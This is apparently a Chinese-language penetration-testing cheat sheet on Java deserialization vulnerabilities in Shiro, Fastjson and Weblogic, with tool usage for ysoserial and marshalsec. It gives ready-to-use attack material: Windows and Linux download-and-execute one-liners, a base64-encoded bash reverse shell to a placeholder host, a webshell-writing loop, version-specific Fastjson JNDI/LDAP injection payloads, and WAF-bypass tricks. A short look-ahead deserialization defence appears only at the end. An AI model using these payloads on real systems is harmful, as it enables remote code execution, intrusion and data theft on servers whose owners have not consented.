基础
序列化
将对象转换为字节序列的过程,ObjectOutputStream的writeObject()方法实现序列化
反序列化
将字节序列还原为对象的过程,ObjectInputStream的readObject()方法实现反序列化
序列化的作用
-
远程方法调用
-
便于通过网络传输对象至远程系统
-
便于存储对象在数据库或本地文件
序列化条件
-
该类必须实现 java.io.Serializable 接口。
-
该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
注:transient关键字修饰的变量不进行序列化。
SerializationDumper
将字节序列转成易读形式的工具
java -jar SerializationDumper-Shiro.jar -r test.obj
反序列化
public class Deserialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("test.obj");
ObjectInputStream ois = new ObjectInputStream(fis);
User user = (User) ois.readObject();
ois.close();
System.out.println("User: " + user);
System.out.println("Name: " + user.getName());
System.out.println("Email: " + user.getEmail());
}
}
-
serialVersionUID是在JAVA序列化、反序列化时起作用的一个字段
-
JAVA的序列化机制是通过判断类serialVersionUID来验证版本的一致性
-
在进行反序列时,JVM会把传来的字节流中的serialVersionUID与对应类的serialVersionUID进行比较,如果一致则进行反序列化,否则会出现异常
-
如过可序列化的类没有显示声明serialVersionUID的值,会根据算法计算得到serialVersionUID,编译器实现不同可能导致serialVersionUID有所不同。
反序列化漏洞
漏洞原理
-
Source 接收不信任的数据进行反序列化
-
Sink可利用的Gadget Chains
漏洞危害
RCE、DOS、SSRF、etc.
易受攻击协议
-
RMI (Remote Method Invocation)
-
JMX (Java Management Extension)
-
JMS (Java Messaging System)
-
AMF (Action Message Format)
-
Weblogic T3
-
Customer Application Protocol
-
...
易受攻击组件
-
Weblogic
-
JBoss
-
Shiro
-
WebSphere
-
Fastjson
-
Jenkins
-
JSF ViewState
-
...
漏洞挖掘
ysoserial
Payload生成工具:java -jar ysoserial-[version]-all.jar [payload] '[command]'
Payloads
| BeanShell | C3P0 | CommonsBeanutils1 | JBossInterceptors1 |
| FileUpload1 | Myfaces1 | CommonsCollections1 | JRMPClient |
| Groovy1 | Myfaces2 | CommonsCollections2 | JRMPListener |
| Hibernate1 | ROME | CommonsCollections3 | JavassistWeld1 |
| Hibernate2 | Spring1 | CommonsCollections4 | MozillaRhino1 |
| JSON1 | Spring2 | CommonsCollections5 | MozillaRhino2 |
| Jdk7u21 | URLDNS | CommonsCollections6 | Wicket1 |
| Jython1 | Vaadin1 | CommonsCollections7 | ...... |
URLDNS
java -jar ysoserial-[version]-all.jar URLDNS 'http://xxx.burpcollaborator.net'
-
需支持DNS查询
-
JDK自带,不依赖于第三方库
-
最简单的payload,虽然不能RCE,却是反序列化漏洞检测最简单和最有效的办法
Gadget Chain
通过HashMap触发DNS查询。
HashMap.readObject() → HashMap.putVal() → HashMap.hash() → URL.hashCode()
CommonsCollections1
java -jar ysoserial-[version]-all.jar URLDNS 'http://xxx.burpcollaborator.net'
-
依赖于
commons-collections:3.1 -
很多Java应用都有在用Apache Commons Collections库
-
反序列化漏洞里很经典的payload,2015年最被低估的漏洞,影响weblogic、websphere、jboss等各大Java应用
GadgetProbe
通过DNS盲打识别远程服务器classpath上的类,库,和库版本
-
Java反序列化漏洞一般无回显,通过GadgetProbe先获取存在的类和库,再用对应的payload去打
-
参照URLDNS,不依赖于第三方库
-
支持BurpSuite Extension
-
支持作为Java库或者CLI使用,可以灵活使用和修改
marshalsec
可以方便的开启RMI和LDAP服务,还可以用于生成Jackson、Xstream等payload
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:80/#Poc
开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.1:80/#Poc
Shiro反序列化漏洞
识别
在请求的Cookie中添加rememberMe=test,如果响应包中包含rememberMe=deleteMe则判断为Shiro
SHIRO-550
Shiro≤1.2.4版本,默认使用了CookieRememberMeManager,其处理Cookie的流程是:得到rememberMe的Cookie值 → Base64解码 → AES解密 → 反序列化,由于AES使用默认的Key、常见的Key、Key泄漏等原因导致反序列化的Cookie可控,从而引发反序列化漏洞。
Blind盲利用
下载执行/反弹
Windows
powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://x.x.x.x:80/p'))"
certutil -urlcache -split -f http://x.x.x.x/test.exe c:\\windows\\temp\\test.exe && c:\\windows\\temp\\test.exe
bitsadmin /transfer n http://x.x.x.x/test.exe c:\\windows\\temp\\test.exe && c:\\windows\\temp\\test.exe
regsvr32 /s /n /u /i:http://x.x.x.x:80/r scrobj.dll
Linux
wget -O /tmp/test.sh x.x.x.x:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
curl -O /tmp/test.sh x.x.x.x:80/test.sh;chmod +x /tmp/test.sh;/tmp/test.sh
bash -c {echo,YmFzaCAtaSAvZGV2L3RjcC94LngueC54LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}
写webshell文件
关键寻找Web应用路径
Windows
Windows直接命令执行写webshell会比较麻烦,可以先将命令执行转为代码执行(修改ysoserial代码实现)
Linux
find /|grep jquery.form.js|while read f; do sh -c "whoami" > (dirnamef)/test.txt;done
构造回显
在不通外网的情况下,漏洞利用就会很艰难了。但是可以考虑通过报错、web获取当前上下文对象、修改当前网络连接描述文件等方法获取回显
SHIRO-721
rememberMe cookie通过AES-128-CBC模式加密,容易收到Padding Oracle攻击。攻击者可以使用有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精心制作rememberMe来执行反序列化攻击。
Fastjson反序列化漏洞
Fastjson识别
-
破坏json格式,引发报错
-
目标可能支持多种数据格式提交,可将Content-Type修改为application/json试一下
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"0"}
Set[{"@type":java.net.URL","val":"dnslog"}]
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
# 1.2.24版本
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}
# 1.2.25-41版本
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}
# 1.2.25-45版本(黑名单绕过,需要有第三方组建ibatis-core 3:0)
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"ldap://x.x.x.x:1099/Exploit"}}
# 1.2.21-47版本
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1099/Exploit","autoCommit":true}}
服务器不同外网
BasicDataSource
{{"x":{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$class的BCEL编码"}}:"x"}
TemplatesImpl
前提:需要设置Feature.SupportNonPublicField
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["class的base64"],"_name":"a.b","_tfactory":{},"_outputProperties":{},"_version":"1.0","allowedProtocols":"all"}
Tips
-
RMI限制比较多,建议用LDAP
-
RMI适用版本:JDK 6u132、7u122、8u113之前
-
LDAP适用版本:JDK 11.0.1、8u191、7u201、6u211之前
-
-
如果LDAP能获取服务器访问请求,但是reference无法加载远程class文件,一般是由于JDK版本问题,需要考虑绕过JDK版本限制
-
如果LDAP能获取服务器访问请求,reference可以加载远程class文件,但是代码没有被成功执行,一般是本地编译POC的JDK版本和目标服务器版本不一致,本地编译换JDK版本即可
Weblogic反序列化漏洞
识别
404页面
/console
/uddiexplorer
/wls-wsat/CoordinatorPortType
/bea_wls_deployment_internal/DeploymentService
/_async/AsyncResponseService
CVE
| CVE-2015-4852 | CVE-2018-2893 | CVE-2019-2729 |
| CVE-2016-0638 | CVE-2018-3191 | CVE-2020-2551 |
| CVE-2016-3510 | CVE-2018-3245 | CVE-2020-2555 |
| CVE-2017-3248 | CVE-2019-2618 | |
| CVE-2018-2628 | CVE-2019-2725 |
Java反序列漏洞Bypass
WAF
WAF是最常见的防御手段,但是WAF对于反序列化攻击的防御还是有点心有余而力不足。WAF主要还是依靠黑名单规则,常见的绕过手段有:
-
寻找新的Gadget
-
Payload加密的基本直接过,比如Shiro反序列化漏洞
-
还有拦
/wls_wsat/CoordinatorPortType11的,结合Weblogic特性加上;/../x即可绕过
Look-Ahead Check
通过重写ObjectInputStream的resolveClass增加黑名单或者白名单类
-
Weblogic
-
SerialKiller
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
